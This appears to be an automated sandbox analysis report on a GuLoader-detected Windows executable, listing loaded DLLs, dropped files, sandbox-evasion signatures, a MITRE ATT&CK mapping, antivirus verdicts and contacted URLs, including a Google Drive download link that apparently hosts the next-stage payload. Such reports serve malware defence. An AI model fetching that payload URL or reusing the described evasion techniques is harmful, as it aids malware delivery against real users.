Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

File written: C:\Program Files (x86)\Fljtenists.ini

Jump to behavior

Source: nRNzqQOQwk.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: nRNzqQOQwk.exe, 00000001.00000001.12761978127.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: mshtml.pdbUGP source: nRNzqQOQwk.exe, 00000001.00000001.12761978127.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000001.00000002.16901286727.0000000002BAB000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.13419006132.00000000041CB000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Code function: 0_2_10002D20 push eax; ret

0_2_10002D4E

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

File created: C:\Users\user\AppData\Local\Temp\nsj1A28.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	API/Special instruction interceptor: Address: 49F8F34
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	API/Special instruction interceptor: Address: 33D8F34

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj1A28.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe TID: 6008

Thread sleep time: -290000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Code function: 0_2_00405642 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405642
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Code function: 0_2_004060A4 FindFirstFileA,FindClose,	0_2_004060A4
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Code function: 0_2_0040270B FindFirstFileA,	0_2_0040270B

Source: nRNzqQOQwk.exe, 00000001.00000003.15362687112.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13183348229.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16474344900.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16592400706.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13191080431.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16480720685.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14195011644.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16362162560.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15016475161.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419575411.0000000006828000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3+
Source: nRNzqQOQwk.exe, 00000001.00000003.15362687112.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13408506429.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13183348229.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13750852480.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16474344900.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16592400706.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13632490262.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13191080431.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13526880286.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16480720685.0000000006828000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	API call chain: ExitProcess graph end node			graph_0-3797
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	API call chain: ExitProcess graph end node			graph_0-3977

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Code function: 0_2_00402B0E RegOpenKeyExA,RegEnumKeyA,RegEnumKeyA,RegCloseKey,LdrInitializeThunk,RegCloseKey,RegDeleteKeyA,

0_2_00402B0E

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

0_2_10001A5D

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Process created: C:\Users\user\Desktop\nRNzqQOQwk.exe "C:\Users\user\Desktop\nRNzqQOQwk.exe"

Jump to behavior

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Code function: 0_2_00405DC2 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405DC2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	12 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nRNzqQOQwk.exe	67%	Virustotal		Browse
nRNzqQOQwk.exe	71%	ReversingLabs	Win32.Trojan.Guloader
nRNzqQOQwk.exe	100%	Avira	TR/AD.NsisInject.monhx
nRNzqQOQwk.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsj1A28.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
https://www.gstatic.	0%	Avira URL Cloud	safe
https://translate.googleapi	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_Error	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.190.110	true	false		high
drive.usercontent.google.com	142.250.190.97	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://drive.google.com/;	nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.	nRNzqQOQwk.exe, 00000001.00000003.15128211863.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531873263.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16703975770.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16138447412.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14307119975.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16592400706.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15016475161.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16362162560.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419575411.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16815816874.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14904620514.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16250138301.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15691986334.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15803735270.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000002.16916696761.00000000067FC000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15362687112.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580308822.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14195011644.00000000067F9000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14786084325.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14792916940.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15915220747.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/8	nRNzqQOQwk.exe, 00000001.00000003.12965484524.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12959116605.000000000683B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13296845871.0000000006828000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/r	nRNzqQOQwk.exe, 00000001.00000003.13408506429.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13750852480.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13632490262.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13526880286.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000002.16916541322.00000000067B8000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968737967.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13183348229.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13856443366.00000000067DE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaR	nRNzqQOQwk.exe, 00000001.00000003.15128211863.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531873263.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16703975770.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16138447412.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14307119975.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16592400706.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15016475161.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16362162560.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419575411.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16815816874.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14904620514.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16250138301.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15691986334.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15803735270.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000002.16916696761.00000000067FC000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15362687112.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580308822.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14195011644.00000000067F9000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14786084325.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14792916940.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15915220747.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	nRNzqQOQwk.exe, 00000001.00000001.12761978127.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	nRNzqQOQwk.exe, 00000001.00000003.15128211863.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531873263.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13744599894.000000000681F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13414803544.000000000681F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000002.16916833797.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12965484524.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12853316877.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14307119975.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13520406559.000000000681F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968616030.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15016475161.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16362162560.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419575411.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16815816874.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14904620514.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	nRNzqQOQwk.exe, 00000000.00000000.11813384787.0000000000409000.00000008.00000001.01000000.00000003.sdmp, nRNzqQOQwk.exe, 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmp	false		high
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	nRNzqQOQwk.exe, 00000001.00000001.12761978127.0000000000626000.00000020.00000001.01000000.00000006.sdmp	false		high
https://translate.googleapi	nRNzqQOQwk.exe, 00000001.00000003.14419575411.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13520406559.0000000006828000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.gopher.ftp://ftp.	nRNzqQOQwk.exe, 00000001.00000001.12761978127.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/U	nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000002.16916833797.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12965484524.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12853316877.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968616030.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419436535.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968482023.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16474207406.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12959116605.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16473999157.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/J	nRNzqQOQwk.exe, 00000001.00000003.13744599894.000000000681F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13414803544.000000000681F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13520406559.000000000681F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13191080431.000000000681F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13638906985.000000000681F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13862839642.000000000681F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/ny	nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	nRNzqQOQwk.exe, 00000001.00000001.12761978127.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false		high
http://nsis.sf.net/NSIS_Error	nRNzqQOQwk.exe, nRNzqQOQwk.exe, 00000000.00000000.11813384787.0000000000409000.00000008.00000001.01000000.00000003.sdmp, nRNzqQOQwk.exe, 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	nRNzqQOQwk.exe, 00000001.00000003.12959116605.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16473999157.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13856443366.00000000067DE000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	nRNzqQOQwk.exe, 00000001.00000001.12761978127.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false		high
https://drive.google.com/P	nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968616030.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419436535.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968482023.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	nRNzqQOQwk.exe, 00000001.00000001.12761978127.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false		high
http://www.quovadis.bm0	nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000002.16916833797.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12845952675.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12965484524.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12853316877.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968616030.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419436535.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968482023.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16474207406.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12959116605.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12845828650.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16473999157.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	false		high
